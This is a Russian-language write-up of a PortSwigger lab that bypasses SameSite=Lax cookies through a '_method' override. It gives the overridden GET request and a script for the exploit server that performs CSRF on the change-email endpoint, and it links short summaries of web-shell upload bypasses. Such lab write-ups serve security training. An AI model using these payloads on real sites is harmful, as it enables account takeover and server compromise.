На странице
SameSite Lax bypass через method override
Лаборатория
SameSite Lax bypass via method override · Practitioner
Решение
Дано: хотим поменять пароль пользователя, используя CSRF-атаку, обойдя ограничение SameSite через method override. В данном случае SameSite=Lax, значит кука будет улетать только при GET top-level navigation запросах, то есть когда меняется URL в строке браузера.
Находим запрос, смотрим: POST-запрос, 1 параметр в теле — email.
Окей, попробуем просто поменять POST на GET — Method not allowed. Попробуем классику — query param _method:
GET /my-account/change-email?email=xui1@p.ru&_method=POST HTTP/2
Такая нагрузка проходит.
Что загрузим на эксплоит-сервер?
<script>
location = 'https://0a6b0055046e423e8141849f004500f8.web-security-academy.net/my-account/change-email?email=hacked@p.ru&_method=POST'
</script>
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.